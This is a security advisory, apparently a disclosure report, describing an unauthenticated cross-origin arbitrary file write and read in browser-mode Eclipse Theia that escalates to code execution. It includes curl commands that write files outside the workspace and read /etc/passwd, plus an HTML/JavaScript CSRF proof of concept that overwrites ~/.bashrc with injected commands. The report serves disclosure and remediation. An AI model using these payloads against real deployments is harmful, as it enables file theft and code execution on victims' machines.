[Eclipse Theia] unauthenticated cross-origin arbitrary file write, escalate to RCE

Basic information

Project name: eclipse-theia/theia

Project id: ecd.theia

What are the affected versions?

Browser (non-Electron) mode. Verified on master HEAD 3351cf1363eb15fad7088cfc9e6857377baf0acc, with the browser connection token enabled. The affected code (the POST /file-upload handler and the browser connection-token HTTP middleware) is present in the current release line that uses browser mode; we tested master HEAD. Electron mode uses ElectronSecurityToken and is not affected via this path.

Details of the issue

Summary. The backend binds POST /file-upload in every filesystem-enabled deployment. The handler takes an attacker-supplied absolute path from the multipart uri field and calls fs.move(tmp, target, { overwrite: true }) with no workspace confinement and no authentication. Because the browser connection token does not gate HTTP routes, and because multipart/form-data is a CORS-safelisted request type, a cross-origin web page can trigger the write with no preflight and no credentials.

Write sink (no confinement, no auth):

  • packages/filesystem/src/node/upload/node-file-upload-service.ts:42-47: route registered as multer then handler, with no auth and no validation.
  • :64-78: target = FileUri.fsPath(fields.uri) then fs.move(..., { overwrite: true }). FileUri.fsPath() does no normalization or containment.

The connection token does not protect HTTP routes. The token added in PR #17701 rejects tokenless WebSocket upgrades, but its HTTP middleware only (re)issues the cookie and then unconditionally calls next():

  • packages/core/src/node/hosting/browser-connection-token.ts:74-85: a WebSocket upgrade with no token is rejected.
  • :87-99: the HTTP expressMiddleware never rejects, so the token is never enforced on HTTP.

Impact (verified on a built backend). A user visiting a malicious web page while a browser-mode Theia backend is running is exposed to:

  • Arbitrary file write outside the workspace: a tokenless cross-origin POST /file-upload with uri=file:///home/<user>/... wrote a file to that absolute path (HTTP 200).
  • Arbitrary file read: GET /file?file:///etc/passwd, the two-step /files/ download, and PUT /files/ (which returned a multi-file tar) all returned host files with no token.
  • Code execution on the host (conditional): overwriting a startup-executed file such as ~/.bashrc caused injected content to run on the next interactive shell. Full execution is conditional on the attacker targeting a known startup-file path and a later shell or login occurring; the arbitrary write and read are unconditional.

Discriminating control (isolates the defect). With the same missing token, a WebSocket handshake carrying a valid same-origin Origin returned 403, while POST /file-upload returned 200 and wrote the file. This confirms the token gates only the WebSocket layer, not HTTP routes, and rules out the deployment simply being unauthenticated.

Severity. Critical, CVSS ~9.6 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H), where the backend runs as root or in a container, or where the write reaches a startup-executed path (both conditions were present in our test). Unconditional floor: High, CVSS 8.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H, arbitrary read and write, non-root), which applies to any browser-mode deployment. CWE-352 (CSRF), CWE-306 (Missing Authentication), CWE-22/73 (external control of file path).

Blast radius. The /file-upload route is bound framework-wide, so this affects Theia and downstream products built on browser-mode Theia (for example Eclipse Che, Arduino IDE, and vendor cloud or desktop IDEs).

Prior advisories (not a duplicate). Distinct from the two published Theia advisories: GHSA-2m57-xxmh-v696 (/services/request-service SSRF) and GHSA-78g8-vm3p-97c6 (cross-origin WebSocket terminal command execution). Neither covers the /file-upload write, the HTTP-route CSRF, or the connection token failing to gate HTTP. The PR #17701 hardening is present in the tested HEAD, but does not cover HTTP routes.

Reporter. Cipher by Causal Security (https://causalsecurity.com/).

Steps to reproduce

Build and run the browser example backend with the connection token enabled:

node src-gen/backend/main.js <workspace> --port=3000 --hostname=127.0.0.1

1. Arbitrary write outside the workspace, plus the WS/HTTP discriminating control (curl):

BASE="http://127.0.0.1:3000"

# O1: tokenless write to an absolute path outside the workspace
printf 'SENTINEL\n' > /tmp/sentinel.txt
curl -s -X POST "$BASE/file-upload" \
  -F 'uri=file:///home/USER/theia_pwn' \
  -F 'file=@/tmp/sentinel.txt' \
  -w '[O1] HTTP=%{http_code}\n'
# => HTTP 200; /home/USER/theia_pwn created

# O2: same missing token. The Socket.IO/WS layer rejects, the HTTP route does not.
# WS handshake with a VALID same-origin Origin but NO token -> still 403.
# (Valid Origin isolates the token as the gate, not the origin check.)
curl -s -o /dev/null -w '[WS]   valid-origin, no-token HTTP=%{http_code}\n' \
  -H 'Origin: http://127.0.0.1:3000' "$BASE/socket.io/?EIO=4&transport=polling"   # => 403
# HTTP /file-upload with NO token -> 200 and the file is written.
curl -s -o /dev/null -w '[HTTP] no-token HTTP=%{http_code}\n' \
  -X POST "$BASE/file-upload" -F 'uri=file:///home/USER/theia_pwn2' -F 'file=@/tmp/sentinel.txt'  # => 200

# O4: tokenless arbitrary read
curl -s "$BASE/file?file:///etc/passwd"                # => 200, returns /etc/passwd

2. Cross-origin CSRF, write to a startup file, code execution on next shell. Served from a different origin (for example http://127.0.0.1:8000); the victim visits it while Theia runs on :3000. No credentials, no preflight (multipart is CORS-safelisted):

<!doctype html>
<script>
  const fd = new FormData();
  fd.append('uri', 'file:///home/USER/.bashrc');
  fd.append('file', new Blob(['\necho THEIA_RCE_ON_VISIT > /home/USER/rce_proof.txt\n']), 'x');
  fetch('http://127.0.0.1:3000/file-upload',
        { method: 'POST', body: fd, mode: 'no-cors', credentials: 'omit' });
</script>

~/.bashrc is overwritten with the injected line, and it executes on the victim's next interactive shell (rce_proof.txt is created).

Do you know any mitigations of the issue?

Fix (root cause):

  1. Enforce the connection token (or a CSRF token) on all HTTP routes, not just the WebSocket upgrade. Reject requests with a missing or invalid token in expressMiddleware instead of unconditionally proceeding.
  2. Confine /file-upload, /file, /files, and /hostedPlugin targets to the workspace root: canonicalize the resolved path and reject absolute paths and any target outside an allowed root; reconsider overwrite: true.

Operator mitigation until patched: do not expose a browser-mode Theia backend to an untrusted network or run it where a user may visit an untrusted web page in the same session; Electron mode is not affected via this path.

Edited by Shubham Raj